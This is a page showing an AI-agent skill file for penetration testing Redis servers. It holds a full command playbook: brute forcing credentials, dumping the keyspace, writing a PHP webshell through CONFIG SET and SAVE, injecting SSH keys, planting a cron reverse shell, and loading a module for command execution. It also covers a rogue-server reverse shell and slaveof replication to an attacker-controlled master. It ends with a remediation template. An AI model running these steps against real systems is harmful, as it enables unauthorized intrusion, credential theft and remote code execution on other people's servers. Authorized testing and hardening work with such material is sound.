pentesting-redis
$
npx mdskill add xalgord/xalgorix/pentesting-redis- Default port `6379/tcp`; Redis is a **plain-text line protocol** (optionally TLS), so `nc` and `redis-cli` both work directly. - Banner/`nmap` shows `redis` and a version like `Redis key-value store 4.0.9`. - Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.
SKILL.md
.github/skills/pentesting-redisView on GitHub ↗
--- name: pentesting-redis description: Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags: - penetration-testing - network-services - database - redis version: '1.0' author: xalgorix license: Apache-2.0 --- # Pentesting Redis (port 6379) ## When to Use - Default port `6379/tcp`; Redis is a **plain-text line protocol** (optionally TLS), so `nc` and `redis-cli` both work directly. - Banner/`nmap` shows `redis` and a version like `Redis key-value store 4.0.9`. - Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall. ## Quick Enumeration ```bash nmap --script redis-info -sV -p6379 <IP> msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit' # Connect (text protocol) nc -vn <IP> 6379 redis-cli -h <IP> # apt-get install redis-tools redis-cli -h <IP> info # full instance info ``` ## Critical: Checks Most Often Missed - **Unauthenticated access** — the #1 miss. By default Redis needs no credentials; `info` returns instance data instead of `-NOAUTH Authentication required.` - How to CONFIRM: `redis-cli -h <IP> info` returns server stats. If `-NOAUTH` is returned, creds are required (`AUTH <user> <pass>`; reply `+OK` = valid). Only password configured → username is `default`. - **CONFIG SET dir/dbfilename → webshell write** — repoint the RDB save path to a webroot, set a key to PHP, and `SAVE` to write a shell. - How to CONFIRM: `config set dir /var/www/html`, `config set dbfilename redis.php`, `set test "<?php system($_GET['c']);?>"`, `save`, then `http://<IP>/redis.php?c=id`. - **SSH authorized_keys write** — write your public key into `~/.ssh/authorized_keys` of the redis (or another) user and log in. - How to CONFIRM: `config set dir /var/lib/redis/.ssh`, `config set dbfilename authorized_keys`, set a spaced key, `save`, then `ssh -i id_rsa redis@<IP>`. - **Cron job write** — write a crontab entry to `/var/spool/cron/crontabs/` (Ubuntu) or `/var/spool/cron/` (CentOS) for a callback. - How to CONFIRM: set a key containing a `*/1 * * * * <rev shell>` line, `config set dir /var/spool/cron/crontabs/`, `config set dbfilename root`, `save`. - **Module load → direct command exec** — `MODULE LOAD /path/mymodule.so` (RedisModules-ExecuteCommand) adds `system.exec`/`system.rev`. - How to CONFIRM: after upload+load, `system.exec "id"` returns `uid=0(root)`. - **Lua sandbox escape CVEs** — Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 with Lua enabled: CVE-2025-49844 (parser UAF→RCE), CVE-2025-46817 (`unpack` overflow DoS), CVE-2025-46818 (metatable cross-user code exec); older CVE-2022-0543 (Debian Lua sandbox escape→RCE). - **Master-slave replication abuse** — `slaveof <attacker> 6379` makes the target a replica you control (module-load RCE chains). ## Workflow ### Step 1: Enumerate ```bash redis-cli -h <IP> info redis-cli -h <IP> CONFIG GET '*' # full config incl. dir, requirepass redis-cli -h <IP> CONFIG GET dir # run FIRST — exploits can change it redis-cli -h <IP> INFO keyspace # which databases (0..N) hold data ``` ### Step 2: Authenticate (anonymous, AUTH, brute force) ```bash redis-cli -h <IP> # try unauthenticated first redis-cli -h <IP> -a <password> info # password only (user = default) # Inside a session if NOAUTH: # AUTH <username> <password> -> +OK means valid nmap --script redis-brute -p6379 <IP> hydra -P passwords.txt redis://<IP> nxc redis <IP> -u '' -p passwords.txt ``` ### Step 3: Exploit / Extract (dump keys + RCE primitive) ```bash # Dump the keyspace redis-cli -h <IP> -n 1 # select db 1 # SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key> ``` ```bash # Webshell write redis-cli -h <IP> > config set dir /usr/share/nginx/html > config set dbfilename redis.php > set test "<?php phpinfo(); ?>" > save ``` ```bash # SSH key write ssh-keygen -t rsa (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key redis-cli -h <IP> config set dir /var/lib/redis/.ssh redis-cli -h <IP> config set dbfilename "authorized_keys" redis-cli -h <IP> save ssh -i ~/.ssh/id_rsa redis@<IP> ``` ```bash # Module load RCE redis-cli -h <IP> MODULE LOAD /tmp/module.so redis-cli -h <IP> MODULE LIST redis-cli -h <IP> system.exec "id" # Automated interactive/reverse shell (Redis <= 5.0.5) ./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER> ``` ### Step 4: Post-access / privilege escalation / pivot - After a webshell/SSH/cron foothold, treat as host access — enumerate the redis user, sudo rights, and other local services. - Master-slave: `redis-cli -h <IP> slaveof <attacker_IP> 6379`, then push keys/modules from your master to the target replica. - Note `rename-command` may rename/disable `FLUSHDB`, `CONFIG`, etc.; check `CONFIG GET *` and try alternates. - SSRF/CRLF reachability: if a web app reaches Redis (e.g. GitLab CVE chain), inject queue payloads for RCE. ## Key Concepts | Concept | Description | |---------|-------------| | **Unauthenticated default** | Redis accepts commands with no credentials unless `requirepass`/ACL configured. | | **CONFIG SET dir + dbfilename + SAVE** | Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs. | | **MODULE LOAD** | Loads a native `.so` exposing `system.exec`/`system.rev` for command execution. | | **slaveof / replicaof** | Makes the target a replica of an attacker master, enabling payload push. | | **Lua scripting (EVAL)** | Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions. | | **rename-command** | Server-side renaming/removal of commands; may block CONFIG/FLUSH. | | **Keyspace / databases** | Numbered DBs (0..N); `SELECT n` then `KEYS *` to dump. | ## Tools & Systems | Tool | Purpose | |------|---------| | **redis-cli / nc** | Native client and raw socket interaction with the text protocol. | | **nmap NSE** | `redis-info` (instance details), `redis-brute` (credential brute). | | **Metasploit** | `scanner/redis/redis_server`, `redis/redis_login`, `redis/file_upload`. | | **netexec (nxc)** | `nxc redis <IP> ...` for auth checks/spraying. | | **redis-rogue-server** | Automated module-load RCE / reverse shell (Redis <= 5.0.5). | | **RedisModules-ExecuteCommand** | Compile the `.so` module exposing `system.exec`. | | **redis-dump / redis-utils** | Bulk export of the keyspace (npm / python). | ## Common Scenarios ### Scenario 1: Unauth access → data theft `redis-cli -h <IP> info` works with no password. `SELECT 1; KEYS *; GET <key>` dumps session tokens and cached credentials, immediately reusable elsewhere. ### Scenario 2: Unauth → webshell RCE Redis is unauthenticated and a web root is writable. `config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save` lands a shell; `x.php?c=id` returns `www-data`. ### Scenario 3: Unauth → SSH foothold The redis user's home is writable. The tester writes their public key to `/var/lib/redis/.ssh/authorized_keys` via CONFIG+SAVE and logs in over SSH as `redis`. ## Output Format ``` ## Redis Finding **Service**: Redis **Port**: 6379/tcp (Redis 4.0.9) **Severity**: Critical **Finding**: Unauthenticated Redis allowing webshell write (RCE) **Evidence**: - `redis-cli -h <IP> info` returned server stats with no AUTH - config set dir /var/www/html; set p "<?php ...?>"; save -> file written - http://<IP>/p.php?c=id -> uid=33(www-data) **Impact**: Unauthenticated access to all cached data plus remote code execution on the host. **Recommendation**: 1. Enable authentication (`requirepass` / ACL users) with a strong password. 2. Bind to localhost or restrict 6379 by firewall; enable protected-mode. 3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command. 4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs. ```